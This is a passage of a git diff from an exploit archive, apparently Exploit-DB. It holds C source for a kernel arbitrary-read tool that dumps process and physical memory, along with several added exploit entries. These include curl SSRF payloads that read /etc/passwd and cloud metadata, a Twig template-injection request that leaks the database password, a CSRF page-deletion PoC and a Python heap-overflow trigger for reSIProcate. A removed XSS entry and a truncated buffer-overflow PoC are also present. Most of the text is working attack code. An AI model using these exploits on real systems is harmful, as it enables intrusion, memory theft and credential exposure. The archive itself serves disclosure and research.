if (!entry) { + perror("[-] malloc()"); + exit(EXIT_FAILURE); + } + entry->addr = addr; + memset(&entry->entries[0], 0, sizeof(entry->entries)); + return entry; +} + +static struct pud_entry *ptsc_alloc_pud_entry(unsigned long addr) { + struct pud_entry *entry = malloc(sizeof(*entry)); + if (!entry) { + perror("[-] malloc()"); + exit(EXIT_FAILURE); + } + entry->addr = addr; + memset(&entry->entries[0], 0, sizeof(entry->entries)); + return entry; +} + +static void ptsc_init(struct ptsc* ptsc, unsigned long physmap, + unsigned long pgd) { + ptsc->physmap = physmap; + ptsc->entry.addr = pgd; + memset(&ptsc->entry.entries[0], 0, sizeof(ptsc->entry.entries)); +} + +static unsigned long ptsc_page_virt_to_phys(struct ptsc* ptsc, + unsigned long addr) { + struct pgd_entry *pgd_e; + struct pud_entry *pud_e; + struct pmd_entry *pmd_e; + struct pte_entry *pte_e; + unsigned long phys_a; + int index; + + debug1("looking up phys addr for %016lx:\n", addr); + + pgd_e = &ptsc->entry; + + index = pgd_index(addr); + debug1(" pgd: %016lx, index: %d\n", pgd_e->addr, index); + if (!pgd_e->entries[index]) { + unsigned long pgd_v = read_8( + pgd_e->addr + index * sizeof(unsigned long)); + debug1(" -> %016lx\n", pgd_v); + if (pgd_none(pgd_v)) { + debug1(" not found, pgd is none\n"); + return 0; + } + if (!pgd_present(pgd_v)) { + debug1(" not found, pgd is not present\n"); + return 0; + } + unsigned long pud_a = + ptsc->physmap + (pgd_v & PHYSICAL_PAGE_MASK); + pud_e = ptsc_alloc_pud_entry(pud_a); + pgd_e->entries[index] = pud_e; + } + pud_e = pgd_e->entries[index]; + + index = pud_index(addr); + debug1(" pud: %016lx, index: %d\n", pud_e->addr, index); + if (!pud_e->entries[index]) { + unsigned long pud_v = read_8( + pud_e->addr + index * sizeof(unsigned long)); + debug1(" -> %016lx\n", pud_v); + if (pud_none(pud_v)) { + debug1(" not found, pud is none\n"); + return 0; + } + if (!pud_present(pud_v)) { + debug1(" not found, pud is not present\n"); + return 0; + } + unsigned long pmd_a = + ptsc->physmap + (pud_v & PHYSICAL_PAGE_MASK); + pmd_e = ptsc_alloc_pmd_entry(pmd_a); + pud_e->entries[index] = pmd_e; + } + pmd_e = pud_e->entries[index]; + + index = pmd_index(addr); + debug1(" pmd: %016lx, index: %d\n", pmd_e->addr, index); + if (!pmd_e->entries[index].pte) { + unsigned long pmd_v = read_8( + pmd_e->addr + index * sizeof(unsigned long)); + debug1(" -> %016lx\n", pmd_v); + if (pmd_none(pmd_v)) { + debug1(" not found, pmd is none\n"); + return 0; + } + if (!pmd_present(pmd_v)) { + debug1(" not found, pmd is not present\n"); + return 0; + } + if (pmd_flags(pmd_v) & _PAGE_PSE) { + phys_a = ptsc->physmap + (pmd_v & PHYSICAL_PAGE_MASK) + + (addr & ~HUGE_PAGE_MASK); + pmd_e->entries[index].phys = phys_a; + pmd_e->entries[index].huge = true; + } else { + unsigned long pte_a = + ptsc->physmap + (pmd_v & PHYSICAL_PAGE_MASK); + pte_e = ptsc_alloc_pte_entry(pte_a); + pmd_e->entries[index].pte = pte_e; + pmd_e->entries[index].huge = false; + } + } + + if (pmd_e->entries[index].huge) { + debug1(" phy: %016lx (huge)\n", phys_a); + return pmd_e->entries[index].phys; + } + + pte_e = pmd_e->entries[index].pte; + + index = pte_index(addr); + debug1(" pte: %016lx, index: %d\n", pte_e->addr, index); + if (!pte_e->entries[index]) { + unsigned long pte_v = read_8( + pte_e->addr + index * sizeof(unsigned long)); + debug1(" -> %016lx\n", pte_v); + if (pte_none(pte_v)) { + debug1(" not found, pte is none\n"); + return 0; + } + if (!pte_present(pte_v)) { + debug1(" not found, pte is not present\n"); + return 0; + } + phys_a = ptsc->physmap + (pte_v & PHYSICAL_PAGE_MASK) + + (addr & ~PAGE_MASK); + pte_e->entries[index] = phys_a; + } + phys_a = pte_e->entries[index]; + + return phys_a; +} + +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +static unsigned long find_task_by_pid(unsigned long init_task, unsigned pid) { + unsigned long cur_task = init_task; + + while (true) { + unsigned cur_pid = + read_field_4(cur_task, O_TASK_STRUCT_PID); + if (cur_pid == pid) + return cur_task; + unsigned long task_next_ptr = + read_field_8(cur_task, O_TASK_STRUCT_TASKS); + cur_task = task_next_ptr - O_TASK_STRUCT_TASKS; + if (cur_task == init_task) + return 0; + } +} + +#define MAX_MMAPS_PER_TASK 512 + +struct mmap_entry { + unsigned long start; + unsigned long end; + unsigned flags; +}; + +typedef void (*mmap_callback)(struct mmap_entry *entry, void *private); + +static void for_each_mmap_from(unsigned long mmap, mmap_callback callback, + void *private) { + struct mmap_entry entries[MAX_MMAPS_PER_TASK]; + int i, count; + + count = 0; + while (mmap != 0) { + assert(count < MAX_MMAPS_PER_TASK); + unsigned long vm_start = + read_field_8(mmap, O_VM_AREA_STRUCT_VM_START); + unsigned long vm_end = + read_field_8(mmap, O_VM_AREA_STRUCT_VM_END); + if (vm_start >= TASK_SIZE || vm_end >= TASK_SIZE) { + info("[-] bad mmap (did the task die?)\n"); + exit(EXIT_FAILURE); + } + unsigned vm_flags = + read_field_4(mmap, O_VM_AREA_STRUCT_VM_FLAGS); + entries[count].start = vm_start; + entries[count].end = vm_end; + entries[count].flags = vm_flags; + count++; + mmap = read_field_8(mmap, O_VM_AREA_STRUCT_VM_NEXT); + } + + for (i = 0; i < count; i++) + callback(&entries[i], private); +} + +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +static unsigned long g_kernel_text = 0; +static unsigned long g_physmap = 0; + +static struct ptsc g_ptsc; + +static void physmap_init() { + unsigned long divide_error = read_idt_gate(0); + info("[.] divide_error: %016lx\n", divide_error); + + g_kernel_text = divide_error - O_DIVIDE_ERROR; + info("[.] kernel text: %016lx\n", g_kernel_text); + + if (O_PAGE_OFFSET_BASE) { + unsigned long page_offset_base = + g_kernel_text + O_PAGE_OFFSET_BASE; + info("[.] page_offset_base: %016lx\n", page_offset_base); + + g_physmap = read_8(page_offset_base); + info("[.] physmap: %016lx\n", g_physmap); + if (g_physmap < PAGE_OFFSET_BASE) { + info("[-] physmap sanity check failed " + "(wrong offset?)\n"); + exit(EXIT_FAILURE); + } + } else { + g_physmap = PAGE_OFFSET_BASE; + info("[.] physmap: %016lx\n", g_physmap); + } +} + +static unsigned long g_mmap = 0; + +static void pts_init(int pid) { + unsigned long mm; + + if (pid != 0) { + unsigned long init_task = g_kernel_text + O_INIT_TASK; + info("[.] init_task: %016lx\n", init_task); + + unsigned long task = find_task_by_pid(init_task, pid); + info("[.] task: %016lx\n", task); + if (task == 0) { + info("[-] task %d not found\n", pid); + exit(EXIT_FAILURE); + } else if (task < PAGE_OFFSET_BASE) { + info("[-] task sanity check failed (wrong offset?)\n"); + exit(EXIT_FAILURE); + } + + mm = read_field_8(task, O_TASK_STRUCT_MM); + info("[.] task->mm: %016lx\n", mm); + if (mm == 0) { + info("[-] mm not found (kernel task?)\n"); + exit(EXIT_FAILURE); + } else if (mm < PAGE_OFFSET_BASE) { + info("[-] mm sanity check failed (wrong offset?)\n"); + exit(EXIT_FAILURE); + } + + g_mmap = read_field_8(mm, O_MM_STRUCT_MMAP); + info("[.] task->mm->mmap: %016lx\n", g_mmap); + if (g_mmap < PAGE_OFFSET_BASE) { + info("[-] mmap sanity check failed (wrong offset?)\n"); + exit(EXIT_FAILURE); + } + } else { + mm = g_kernel_text + O_INIT_MM; + } + + unsigned long pgd = read_field_8(mm, O_MM_STRUCT_PGD); + info("[.] task->mm->pgd: %016lx\n", pgd); + if (pgd < PAGE_OFFSET_BASE) { + info("[-] pgd sanity check failed (wrong offset?)\n"); + exit(EXIT_FAILURE); + } + + ptsc_init(&g_ptsc, g_physmap, pgd); +} + +static unsigned long page_virt_to_phys(unsigned long addr) { + unsigned long paddr = ptsc_page_virt_to_phys(&g_ptsc, addr); + assert(paddr != 0); + return paddr - g_physmap; +} + +static bool page_check_virt(unsigned long addr) { + unsigned long paddr = ptsc_page_virt_to_phys(&g_ptsc, addr); + return paddr != 0; +} + +static bool page_check_phys(unsigned long offset) { + return page_check_virt(g_physmap + offset); +} + +static void phys_read_range(unsigned long offset, size_t length, char *buffer) { + read_range(g_physmap + offset, length, buffer); +} + +static void for_each_mmap(mmap_callback callback, void *private) { + for_each_mmap_from(g_mmap, callback, private); +} + +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +static int create_file(const char *path) { + int fd = open(path, O_RDWR | O_CREAT, 0644); + if (fd < 0) { + perror("[-] open()"); + exit(EXIT_FAILURE); + } + return fd; +} + +static int open_dir(const char *path) { + int fd = open(path, O_DIRECTORY | O_PATH); + if (fd < 0) { + perror("[-] open()"); + exit(EXIT_FAILURE); + } + return fd; +} + +static int create_file_in_dir(int dirfd, const char *name) { + int fd = openat(dirfd, name, O_RDWR | O_CREAT, 0644); + if (fd < 0) { + perror("[-] openat()"); + exit(EXIT_FAILURE); + } + return fd; +} + +static void write_file(int fd, char *buffer, size_t length) { + int rv = write(fd, buffer, length); + if (rv != length) { + perror("[-] write()"); + exit(EXIT_FAILURE); + } +} + +static void write_bytes(int fd, unsigned long src_addr, + char *buffer, size_t length) { + if (fd < 0) + print_bytes(LOG_INFO, src_addr, buffer, length); + else + write_file(fd, buffer, length); +} + +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +void read_virt_memory(unsigned long addr, size_t length, int fd) { + char buffer[PAGE_SIZE]; + char empty[PAGE_SIZE]; + + debug1("read_virt_memory: addr = %016lx, length = %016lx\n", + addr, length); + + memset(&empty[0], 0, sizeof(empty)); + + size_t total_read = 0; + while (total_read < length) { + unsigned long current = addr + total_read; + size_t to_read = PAGE_SIZE; + if (current % PAGE_SIZE != 0) + to_read = PAGE_SIZE - current % PAGE_SIZE; + to_read = min(to_read, length - total_read); + if (page_check_virt(addr + total_read)) { + read_range(addr + total_read, to_read, &buffer[0]); + write_bytes(fd, addr + total_read, &buffer[0], to_read); + } else { + write_bytes(fd, addr + total_read, &empty[0], to_read); + } + total_read += to_read; + } +} + +void read_phys_memory(unsigned long src_addr, unsigned long offset, + size_t length, int fd) { + char buffer[PAGE_SIZE]; + char empty[PAGE_SIZE]; + + debug1("read_phys_memory: offset = %016lx, length = %016lx\n", + offset, length); + + memset(&empty[0], 0, sizeof(empty)); + + size_t total_read = 0; + while (total_read < length) { + unsigned long current = offset + total_read; + size_t to_read = PAGE_SIZE; + if (current % PAGE_SIZE != 0) + to_read = PAGE_SIZE - current % PAGE_SIZE; + to_read = min(to_read, length - total_read); + if (page_check_phys(offset + total_read)) { + phys_read_range(offset + total_read, to_read, + &buffer[0]); + write_bytes(fd, src_addr + offset + total_read, + &buffer[0], to_read); + } else { + write_bytes(fd, src_addr + offset + total_read, + &empty[0], to_read); + } + total_read += to_read; + } +} + +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +#define VM_READ 0x00000001 +#define VM_WRITE 0x00000002 +#define VM_EXEC 0x00000004 + +static void print_mmap(unsigned long start, unsigned long end, unsigned flags) { + info("[%016lx, %016lx) %s%s%s\n", + start, end, + (flags & VM_READ) ? "r" : "-", + (flags & VM_WRITE) ? "w" : "-", + (flags & VM_EXEC) ? "x" : "-"); +} + +static void name_mmap(unsigned long start, unsigned long end, unsigned flags, + char *buffer, size_t length) { + snprintf(buffer, length, "%016lx_%016lx_%s%s%s", + start, end, + (flags & VM_READ) ? "r" : "-", + (flags & VM_WRITE) ? "w" : "-", + (flags & VM_EXEC) ? "x" : "-"); +} + +static void save_mmap(struct mmap_entry *entry, void *private) { + int dirfd = (int)(unsigned long)private; + unsigned long length; + char name[128]; + char empty[PAGE_SIZE]; + + assert(entry->start % PAGE_SIZE == 0); + assert(entry->end % PAGE_SIZE == 0); + + memset(&empty, 0, sizeof(empty)); + length = entry->end - entry->start; + + print_mmap(entry->start, entry->end, entry->flags); + name_mmap(entry->start, entry->end, entry->flags, + &name[0], sizeof(name)); + int fd = create_file_in_dir(dirfd, &name[0]); + + size_t total_read = 0; + while (total_read < length) { + if (page_check_virt(entry->start + total_read)) { + unsigned long offset = page_virt_to_phys( + entry->start + total_read); + read_phys_memory(entry->start + total_read, offset, + PAGE_SIZE, fd); + } else { + write_bytes(fd, entry->start + total_read, + &empty[0], PAGE_SIZE); + } + total_read += PAGE_SIZE; + } + + close(fd); +} + +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +unsigned long get_phys_size() { + struct sysinfo info; + int rv = sysinfo(&info); + if (rv != 0) { + perror("sysinfo()"); + return EXIT_FAILURE; + } + debug1("phys size: %016lx\n", info.totalram); + return info.totalram; +} + +void phys_search(unsigned long start, unsigned long end, char *needle) { + char buffer[PAGE_SIZE]; + int length = strlen(needle); + + assert(length <= PAGE_SIZE); + + unsigned long offset; + for (offset = start; offset < end; offset += PAGE_SIZE) { + if (offset % (32ul << 20) == 0) + info("[.] now at %016lx\n", offset); + if (!page_check_phys(offset)) + continue; + phys_read_range(offset, length, &buffer[0]); + if (memcmp(&buffer[0], needle, length) != 0) + continue; + info("[+] found at %016lx\n", offset); + return; + } + info("[-] not found\n"); +} + +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +#define CMD_IDT 1 +#define CMD_PID 2 +#define CMD_VIRT 3 +#define CMD_PHYS 4 +#define CMD_SEARCH 5 + +int g_cmd = 0; + +static unsigned g_num = 1; +static unsigned g_pid = 0; +static unsigned long g_addr = 0; +static unsigned long g_length = 0; +static unsigned long g_offset = 0; +static const char *g_dir = NULL; +static const char *g_file = NULL; +static char *g_string = NULL; + +static void print_usage(const char* name) { + info("Usage: \n"); + info(" %s idt [NUM] " + "dump IDT entries\n", name); + info(" %s pid PID DIR " + "dump process memory\n", name); + info(" %s virt ADDR LENGTH [FILE] " + "dump virtual memory\n", name); + info(" %s phys OFFSET LENGTH [FILE] " + "dump physical memory\n", name); + info(" %s search STRING [OFFSET [LENGTH]] " + "search start of each physical page\n", name); + info("\n"); + info(" NUM, PID - decimals\n"); + info(" ADDR, LENGTH, OFFSET - hex\n"); + info(" DIR, FILE, STRING - strings\n"); +} + +static bool parse_u(char *s, int base, unsigned *out) { + int length = strlen(s); + char *endptr = NULL; + unsigned long result = strtoul(s, &endptr, base); + if (endptr != s + length) + return false; + *out = result; + return true; +} + +static bool parse_ul(char *s, int base, unsigned long *out) { + int length = strlen(s); + char *endptr = NULL; + unsigned long result = strtoul(s, &endptr, base); + if (endptr != s + length) + return false; + *out = result; + return true; +} + +static int parse_cmd(const char *cmd) { + if (strcmp(cmd, "idt") == 0) + return CMD_IDT; + if (strcmp(cmd, "pid") == 0) + return CMD_PID; + if (strcmp(cmd, "virt") == 0) + return CMD_VIRT; + if (strcmp(cmd, "phys") == 0) + return CMD_PHYS; + if (strcmp(cmd, "search") == 0) + return CMD_SEARCH; + return 0; +} + +static bool parse_args(int argc, char **argv) { + if (argc < 2) + return false; + + g_cmd = parse_cmd(argv[1]); + + switch (g_cmd) { + case CMD_IDT: + if (argc > 3) + return false; + if (argc >= 3 && !parse_u(argv[2], 10, &g_num)) + return false; + return true; + case CMD_PID: + if (argc != 4) + return false; + if (!parse_u(argv[2], 10, &g_pid)) + return false; + if (g_pid <= 0) + return false; + g_dir = argv[3]; + debug1("CMD_PID %u %s\n", g_pid, g_dir); + return true; + case CMD_VIRT: + if (argc < 4 || argc > 5) + return false; + if (!parse_ul(argv[2], 16, &g_addr)) + return false; + if (!parse_ul(argv[3], 16, &g_length)) + return false; + if (argc == 5) + g_file = argv[4]; + debug1("CMD_VIRT %016lx %016lx %s\n", g_addr, + g_length, g_file ? g_file : "NULL"); + return true; + case CMD_PHYS: + if (argc < 4 || argc > 5) + return false; + if (!parse_ul(argv[2], 16, &g_offset)) + return false; + if (!parse_ul(argv[3], 16, &g_length)) + return false; + if (argc == 5) + g_file = argv[4]; + debug1("CMD_PHYS %016lx %016lx %s\n", g_offset, + g_length, g_file ? g_file : "NULL"); + return true; + case CMD_SEARCH: + if (argc < 3 || argc > 5) + return false; + g_string = argv[2]; + if (argc >= 4 && !parse_ul(argv[3], 16, &g_offset)) + return false; + if (argc >= 5 && !parse_ul(argv[4], 16, &g_length)) + return false; + debug1("CMD_SEARCH <%s> %016lx %016lx\n", + g_string, g_offset, g_length); + return true; + default: + return false; + } + + return true; +} + +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +void handle_cmd_idt() { + info("[.] dumping IDT\n"); + print_idt(g_num); + info("[+] done\n"); +} + +void handle_cmd_virt() { + int fd = -1; + info("[.] dumping virtual memory [%016lx, %016lx):\n", + g_addr, g_addr + g_length); + if (g_file != NULL) + fd = create_file(g_file); + read_virt_memory(g_addr, g_length, fd); + if (fd != -1) + close(fd); + info("[+] done\n"); +} + +void handle_cmd_phys() { + int fd = -1; + info("[.] dumping physical memory [%016lx, %016lx):\n", + g_offset, g_offset + g_length); + if (g_file != NULL) + fd = create_file(g_file); + read_phys_memory(0, g_offset, g_length, fd); + if (fd != -1) + close(fd); + info("[+] done\n"); +} + +void handle_cmd_pid() { + info("[.] dumping mmaps for %u:\n", g_pid); + int dirfd = open_dir(g_dir); + for_each_mmap(save_mmap, (void *)(unsigned long)dirfd); + close(dirfd); + info("[+] done\n"); +} + +void handle_cmd_search() { + unsigned long start = g_offset ? g_offset : 0; + unsigned long end = g_length ? (start + g_length) : get_phys_size(); + info("[.] searching [%016lx, %016lx) for '%s':\n", + start, end, g_string); + phys_search(start, end, g_string); + info("[+] done\n"); +} + +// # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +int main(int argc, char **argv) { + assert(getpagesize() == PAGE_SIZE); + + if (!parse_args(argc, argv)) { + print_usage(argv[0]); + exit(EXIT_FAILURE); + } + + arbitrary_read_init(); + + if (g_cmd == CMD_IDT) { + handle_cmd_idt(); + return EXIT_SUCCESS; + } + + physmap_init(); + + switch (g_cmd) { + case CMD_VIRT: + pts_init(getpid()); + handle_cmd_virt(); + break; + case CMD_PHYS: + pts_init(0); + handle_cmd_phys(); + break; + case CMD_SEARCH: + pts_init(0); + handle_cmd_search(); + break; + case CMD_PID: + pts_init(g_pid); + handle_cmd_pid(); + break; + } + + return EXIT_SUCCESS; +} \ No newline at end of file diff --git a/exploits/linux/webapps/45090.txt b/exploits/linux/webapps/45090.txt new file mode 100644 index 000000000..ebb69d53b --- /dev/null +++ b/exploits/linux/webapps/45090.txt @@ -0,0 +1,31 @@ +# Exploit Title:​​ Kirby CMS 2.5.12 - Cross-Site Request Forgery (Delete Page) +# Date: 2018-07-22 +# Exploit Author: Zaran Shaikh +# Version: 2.5.12 +# CVE: NA +# Category: Web Application + +# 1. Description +# The application allows malicious HTTP requests to be sent in order to +# trick a user into adding/ deleting web pages. + +# 2. Proof of Concept + +1. Visit the application +2. Go to add page option +3. Create a crafted HTTP page with delete/ add option and host it on +a server. Upon sending the link to a user and upon click, it gets triggered +and the page is added/deleted +4. Payload: + + + +
+ + +
+ + + \ No newline at end of file diff --git a/exploits/linux/webapps/45103.txt b/exploits/linux/webapps/45103.txt new file mode 100644 index 000000000..12860a350 --- /dev/null +++ b/exploits/linux/webapps/45103.txt @@ -0,0 +1,13 @@ +# Exploit Title: Responsive filemanager 9.13.1 - Server-Side Request Forgery +# Date: 2018-07-29 +# Exploit Author: GUIA BRAHIM FOUAD +# Vendor Homepage: http://responsivefilemanager.com/ +# Software Link: https://github.com/trippo/ResponsiveFilemanager/releases/download/v9.13.1/responsive_filemanager.zip +# Version: 9.13.1 +# Tested on: responsive filemanager version: 9.13.1, php version: 7.0 +# CVE : CVE-2018-14728 + +# PoC +curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url=file:///etc/passwd' +curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a' +curl 'http://localhost/filemanager/upload.php' --data 'fldr=&url=http://169.254.169.254/openstack' \ No newline at end of file diff --git a/exploits/linux/webapps/45108.txt b/exploits/linux/webapps/45108.txt new file mode 100644 index 000000000..fb1a06cdb --- /dev/null +++ b/exploits/linux/webapps/45108.txt @@ -0,0 +1,35 @@ +# Exploit Title: Craft CMS SEOmatic plugin 3.1.4 - Server-Side Template Injection +# Date: 2018-07-20 +# Software Link: https://github.com/nystudio107/craft-seomatic +# Exploit Author: Sebastian Kriesten (0xB455) +# Contact: https://twitter.com/0xB455 +# CVE: CVE-2018-14716 +# Category: webapps + +# 1. Description +# An unauthenticated user can trigger the Twig template engine by injecting +# code into the URI as described in this article: + +# http://ha.cker.info/exploitation-of-server-side-template-injection-with-craft-cms-plguin-seomatic/ +# This can be leveraged to perform arbitrary calls against the template engine and the CMS. +# The output will be reflected within the Link header of the response. + +# 2. Proof of Concept +# The injection can be performed against any part of the URL path. However as the framework is replacing +# control characters with HTML entities (e.g. ' ==> ') it is not possible to directly address methods with +# parameter values. Therefor it is required to bypass the filter by invoking functions such as craft.request.getUserAgent() +# and store the parameter values in the User-Agent header. In combination with Twig's slice() filter it is then possible +# to extract sensitive information by utilizing the craft.config.get() method: + +# Request: +HEAD /db-password:%20%7b%25%20set%20dummy%20=%20craft.request.getUserAgent()|slice(0,8)%25%7d%7b%25%20set%20dummy2%20=%20craft.request.getUserAgent()|slice(9,2)%25%7d%7b%7bcraft.config.get(dummy,dummy2)%7d%7d HTTP/1.1 +Host: craft-installation +User-Agent: password db + +# Response: +HTTP/1.1 404 Not Found +Server: nginx +… + +Link: ; rel='canonical' +… \ No newline at end of file diff --git a/exploits/multiple/dos/45174.py b/exploits/multiple/dos/45174.py new file mode 100755 index 000000000..e0bf2b298 --- /dev/null +++ b/exploits/multiple/dos/45174.py @@ -0,0 +1,206 @@ +''' +CVE ID: CVE-2018-12584 + +TIMELINE + + Bug report with test code sent to main reSIProcate developers: 2018-06-15 + Patch created by Scott Godin: 2018-06-18 + CVE ID assigned: 2018-06-19 + Patch committed to reSIProcate repository: 2018-06-21 + Advisory first published on website: 2018-06-22 + Advisory sent to Bugtraq mailing list: 2018-08-08 + +DESCRIPTION + +A heap overflow can be triggered in the reSIProcate SIP stack when TLS is +enabled. +Abuse of this vulnerability may cause a denial of service of software using +reSIProcate and may also lead to remote code execution. +No SIP user authentication is required to trigger the vulnerability on the +client or server side. + +TECHNICAL DETAILS + +The file resiprocate/resip/stack/ConnectionBase.cxx contained the following +code fragment: + +bool +ConnectionBase::preparseNewBytes(int bytesRead) +{ +/* ... */ + else if (mBufferPos == mBufferSize) + { + // .bwc. We've filled our buffer; go ahead and make more room. + size_t newSize = resipMin(mBufferSize*3/2, contentLength); + char* newBuffer = 0; + try + { + newBuffer=new char[newSize]; + } + catch(std::bad_alloc&) + { + ErrLog(>>"Failed to alloc a buffer while receiving body!"); + return false; + } + memcpy(newBuffer, mBuffer, mBufferSize); + mBufferSize=newSize; + delete [] mBuffer; + mBuffer = newBuffer; + } +/* ... */ +} + +Execution of the code above could be triggered by sending a partial SIP +message over TLS with a Content-Length header field, followed by sending a +packet over TLS with its associated SIP message body. By setting the +Content-Length field to a value that is lower than the length of the SIP +message body which followed, a malicious user could trigger a heap buffer +overflow. + +The bug did not appear to be reproducible using TCP instead of TLS even when +the TCP packets were sent with delays between them. + +TEST CODE + +The following Python script can be used to test the vulnerability of both +server and client software based on reSIProcate. +''' + +#!/usr/bin/python3 + +# reSIProcate through 1.10.2 SIP over TLS heap overflow bug test code +# Written by Joachim De Zutter (2018) + +from socket import * +from ssl import * # pip install pyopenssl + +daemon_mode = False + +# server to test (in case daemon_mode = False) +server = "" +port = 5061 + +# server configuration (in case daemon_mode = True) +server_ip = "xxx.xxx.xxx.xxx" +keyfile = "keyfile.pem" +certfile = "certfile.pem" + +username = "test" +via = "192.168.13.37:31337" +callid = "LtCwMvc2C5tca58a5Ridwg.." +cseq = 1 + +def trigger_server_heap_overflow(connection): + global username, server, via, cseq + print("Triggering heap overflow!") + buffer_length = 100 + register_packet = "REGISTER sip:" + server + " SIP/2.0\x0d\x0aVia: +SIP/2.0/TCP " + via + "\x0d\x0aContact: \x0d\x0aTo: \x0d\x0aFrom: \x0d\x0aCSeq: " + "%d" % cseq + " REGISTER\x0d\x0aExpires: +600\x0d\x0aContent-Length: %ld" % buffer_length + "\x0d\x0a\x0d\x0a" + oversized_packet = buffer_length * "A" + 64 * "B" + connection.send(register_packet.encode()) + cseq = cseq + 1 + connection.send(oversized_packet.encode()) + +def trigger_client_heap_overflow(connection): + global username, via, callid, cseq + print("Triggering heap overflow!") + buffer_length = 100 + content_length_packet = "SIP/2.0 200 OK\x0d\x0aVia: SIP/2.0/TLS +10.0.2.15:32703;branch=z9hG4bK-524287-1---c04a0ad2231e66ab;rport\x0d\x0aFrom: +;tag=00649d4d\x0d\x0aTo: \x0d\x0aCall-ID: " + callid + "\x0d\x0aCSeq: 2 +PUBLISH\x0d\x0aExpires: 600\x0d\x0aContent-Length: %ld" % +buffer_length + "\x0d\x0aSIP-ETag: +af6079e42f65e7e2340e92565570e295\x0d\x0a\x0d\x0a" + oversized_packet = buffer_length * "A" + 64 * "B" + connection.send(content_length_packet.encode()) + cseq = cseq + 1 + connection.send(oversized_packet.encode()) + connection.shutdown(SHUT_RDWR) + connection.close() + +def test_clients(): + global server_ip, keyfile, certfile + server_socket=socket(AF_INET, SOCK_STREAM) + server_socket.bind((server_ip, 5061)) + server_socket.listen(1) + tls_server = wrap_socket(server_socket, +ssl_version=PROTOCOL_TLSv1, cert_reqs=CERT_NONE, server_side=True, +keyfile=keyfile, certfile=certfile) + print("Server running!") + done = False + while not done: + connection, client_address= tls_server.accept() + print("Connection from " + client_address[0] + ":%d" % +client_address[1]) + data_in = connection.recv(1024) + if not data_in: + done = True + break + message = data_in.decode() + if "SUBSCRIBE" in message: + print("Client sent SUBSCRIBE request") + trigger_client_heap_overflow(connection) + +def test_server(): + global server, port + context = create_default_context() + context.check_hostname = False + context.verify_mode = CERT_NONE + tls_client = context.wrap_socket(socket(AF_INET), server_hostname=server) + tls_client.connect((server, port)) + print("Connected!") + trigger_server_heap_overflow(tls_client) + tls_client.shutdown(SHUT_RDWR) + tls_client.close() + +def main(): + global daemon_mode + if daemon_mode: + test_clients() + else: + test_server() + +if __name__ == "__main__": + main() + +''' +EXPLOITABILITY + +At http://joachimdezutter.webredirect.org/CVE-2018-12584-exploitability.html +the exploitability of an affected version of repro on Windows XP Professional +with Service Pack 3 was examined, it was separated from this text because AVG +Web Shield considered the text to be a threat. Arbitrary code execution has +proven to be possible and may be possible on other operating systems and +software based on affected versions of reSIProcate as well. + +SOLUTION + +A patch was created by Scott Godin, it was committed to the reSIProcate +repository at + +https://github.com/resiprocate/resiprocate/commit/2cb291191c93c7c4e371e22cb89805a5b31d6608 + +The following software based on reSIProcate contains a fix for the issue: + +3CX Phone System 15.5.13470.6 and higher + +For Debian 8 "Jessie", CVE-2018-12584 and CVE-2017-11521 have been fixed in +resiprocate package version 1:1.9.7-5+deb8u1 +(https://lists.debian.org/debian-lts-announce/2018/07/msg00031.html) + +DISCLAIMER + +The information in this report is believed to be accurate at the time of +publishing based on currently available information. +Use of the information constitutes acceptance for use in an AS IS condition. +There are no warranties with regard to this information. Neither the author +nor the publisher accepts any liability for any direct, indirect, or +consequential loss or damage arising from use of, or reliance on, this +information. +''' \ No newline at end of file diff --git a/exploits/php/webapps/45156.txt b/exploits/php/webapps/45156.txt deleted file mode 100644 index 0dd61729b..000000000 --- a/exploits/php/webapps/45156.txt +++ /dev/null @@ -1,19 +0,0 @@ -# Exploit Title:Monstra-Dev 3.0.4 Stored Cross Site Scripting -# Date: 04-08-2018 -# Exploit Author: Nainsi Gupta -# Vendor Homepage: http://monstra.org/ -# Software Link: https://github.com/monstra-cms/monstra -#Published In- https://indiancybersecuritysolutions.com/cve-2018-14922-cross-site-scripting/ -# Product Name: Monstra-dev -# Version: 3.0.4 -# Tested on: Windows 10 (Firefox/Chrome) -# CVE : CVE-2018-14922 - - -#POC -1. 1. Go to the site ( http://server.com/monstra-dev/ ) . -2- Click on Registration page (Registration) . -3- Register by giving you name ,mail and soo on... -4 -Now log In i the website. -5.After loggin in click on edit profile and in the frist name and last name copy paste this payload- in firsname paste "> and in Lastname paste "> -6. After saving the above changes, click on edit profile page and you will be able to see to Pop up stating Gupta and Nainsi. \ No newline at end of file diff --git a/exploits/windows/local/45151.py b/exploits/windows/local/45151.py new file mode 100755 index 000000000..b27d9e24f --- /dev/null +++ b/exploits/windows/local/45151.py @@ -0,0 +1,76 @@ +# Exploit Title: AgataSoft Auto PingMaster 1.5 - Buffer Overflow (SEH) +# Date: 2018-08-03 +# Exploit Author: bzyo +# Twitter: @bzyo_ +# Vulnerable Software: AgataSoft Auto PingMaster 1.5 +# Vendor Homepage: http://agatasoft.com/ +# Version: 1.5 +# Software Link : http://agatasoft.com/Ping_Master.exe +# Tested Windows 7 SP1 x86 + +# PoC +# 1. generate ping.txt, copy contents to clipboard 